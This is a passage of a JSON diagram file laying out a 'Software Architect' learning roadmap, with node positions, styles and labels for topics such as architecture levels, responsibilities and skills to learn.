\"KLmz1sHYqS_SE65Jd22qe\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -308.40212184953555,\n        \"y\": 1698.050314077109\n      },\n      \"width\": 231,\n      \"height\": 162,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -308.40212184953555,\n        \"y\": 1698.050314077109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 162\n      }\n    },\n    {\n      \"id\": \"BZl8WjxR6OBpYI7btJ7Z4\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 481.8910035611806,\n        \"y\": 1605.198473727102\n      },\n      \"width\": 265,\n      \"height\": 160,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 160\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 481.8910035611806,\n        \"y\": 1605.198473727102\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 160\n      }\n    },\n    {\n      \"id\": \"4dmGhZzyRHLp5kW_QLhFG\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 348.4771710739557,\n        \"y\": 761.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 348.4771710739557,\n        \"y\": 761.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"-B9_tpFcjP76sRfklGI91\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 46.477171073955674,\n        \"y\": 458.43679508978016\n      },\n      \"width\": 303,\n      \"height\": 342,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 342\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.477171073955674,\n        \"y\": 458.43679508978016\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 342\n      }\n    },\n    {\n      \"id\": \"niKLPwmuH0-UH6WY9Lhk-\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 390.72005963135257,\n        \"y\": 96.05752747542311\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 352,\n      \"height\": 175,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 175\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 390.72005963135257,\n        \"y\": 96.05752747542311\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 175\n      }\n    },\n    {\n      \"id\": \"tbmunGk2lG74hVWv_W8lN\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 61.527349227807406,\n        \"y\": 40.31163847670996\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Architect\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 61.527349227807406,\n        \"y\": 40.31163847670996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"Bkiz775Up6nX6I4ZjNeq5\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 186.5273492278074,\n        \"y\": -44.68836152329004\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 85,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"positionAbsolute\": {\n        \"x\": 186.5273492278074,\n        \"y\": -44.68836152329004\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"id\": \"4zicbh7Wg2lmKSRhb6E-L\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 68.47717107395567,\n        \"y\": 260.222809792092\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 68.47717107395567,\n        \"y\": 260.222809792092\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EGG99VA-PEdWdVxNDLtG_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 205.80206058696632\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Software Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 205.80206058696632\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eG38hT0rotYJ3G-t9df9R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 258.8020605869663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is a Software Architect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281\n      },\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 258.8020605869663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2sR4KULvAUUoOtopvsEBs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 311.8020605869663\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Levels of Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281\n      },\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 311.8020605869663\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lqe47l4j-C4OwkbkwPYry\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 399.1970427715811\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Application Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281\n      },\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 399.1970427715811\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uGs-9xE3DMJxKhenltbFK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 452.1970427715811\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solution Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281\n      },\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 452.1970427715811\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vlW07sc-FQnxPMjDMn8_F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -314.9127590352981,\n        \"y\": 505.19704277158115\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Enterprise Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -314.9127590352981,\n        \"y\": 505.19704277158115\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-1CN6Aid4t6LizfUPHZl0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 409.77040727110045,\n        \"y\": 146.165003481839\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Describes how an application is built including its components, how they interact with each other, environment in which they operate and so on.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 105,\n      \"style\": {\n        \"width\": 313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 409.77040727110045,\n        \"y\": 146.165003481839\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 105\n      }\n    },\n    {\n      \"id\": \"EdKaiAzDHy0l2GdboCABn\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 409.77040727110045,\n        \"y\": 112.165003481839\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Architecture\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 35,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 35\n      },\n      \"positionAbsolute\": {\n        \"x\": 409.77040727110045,\n        \"y\": 112.165003481839\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 35\n      }\n    },\n    {\n      \"id\": \"7AbVOnkYRf5nCmlGgsqaa\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 390.2550655698143,\n        \"y\": 292.36368097542015\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"niKLPwmuH0-UH6WY9Lhk-\"\n      },\n      \"zIndex\": -999,\n      \"width\": 352,\n      \"height\": 175,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 175\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 390.2550655698143,\n        \"y\": 292.36368097542015\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 175\n      }\n    },\n    {\n      \"id\": \"x5V5daeZ5VDcgKqGXvjA7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 409.77040727110045,\n        \"y\": 342.47115698183603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"A software expert who makes high level software design choices, including technical standards, tools, design principles, platforms to be used, etc.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"-1CN6Aid4t6LizfUPHZl0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 105,\n      \"style\": {\n        \"width\": 313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 409.77040727110045,\n        \"y\": 342.47115698183603\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 105\n      }\n    },\n    {\n      \"id\": \"T44pv88xPxh_JipwWpRLi\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 409.77040727110045,\n        \"y\": 308.47115698183603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Architect\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"EdKaiAzDHy0l2GdboCABn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 34,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 34\n      },\n      \"positionAbsolute\": {\n        \"x\": 409.77040727110045,\n        \"y\": 308.47115698183603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 34\n      }\n    },\n    {\n      \"id\": \"rUxbG2S2nJuA1YVY6sjiX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 46.477171073955674,\n        \"y\": 433.93679508978016\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Responsibilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.477171073955674,\n        \"y\": 433.93679508978016\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3rzjC7Y05bOvY4B3y69hn\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 490.93679508978016\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tech Decisions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 39,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 39\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 490.93679508978016\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 39\n      }\n    },\n    {\n      \"id\": \"K-doenNgxcrnoGTeX18RI\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 533.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design & Architecture Decisions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 39,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 39\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 533.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 39\n      }\n    },\n    {\n      \"id\": \"RD-XVnyRBnLnNnYJwsJe7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 577.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Requirements Elicitation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 38,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 38\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 577.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"2ij7YJCqkRQwMCrM3isjN\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 619.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 40,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 40\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 619.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 40\n      }\n    },\n    {\n      \"id\": \"35YVxotPwXi4Zpjauc8-P\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 663.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Enforcing Standards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 40,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 40\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 663.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 40\n      }\n    },\n    {\n      \"id\": \"BxWxDufL8BviuG9qp6fg9\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 707.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Collaborate with Others\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"dwpl-QlN9EzpSsLKfDZiU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 40,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 40\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 707.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 40\n      }\n    },\n    {\n      \"id\": \"dwpl-QlN9EzpSsLKfDZiU\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 53.977171073955674,\n        \"y\": 751.9367950897802\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consult & Coach Developers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"#e6e6e6\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 40,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 40\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.977171073955674,\n        \"y\": 751.9367950897802\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 40\n      }\n    },\n    {\n      \"id\": \"lBtlDFPEQvQ_xtLtehU0S\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 753.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Important Skills to Learn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 753.213248721831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fBd2m8tMJmhuNSaakrpg4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 505.21324872183095\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design & Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 505.21324872183095\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MSDo0nPk_ghRYkZS4MAQ_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 558.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision Making\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 558.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lrtgF1RTaS4TCKww0aY6C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 611.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Simplifying Things\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 611.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"77KvWCA1oHSGgDKBTwjv7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 664.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How to Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 664.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5D-kbQ520k1D3fCtD01T7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 859.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 859.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ac49sOlQKblYK4FZuFHDR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 912.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 912.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m0ZYdqPFDoHOPo18wKyvV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 965.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Estimate and Evaluate\",\n        \"style\": 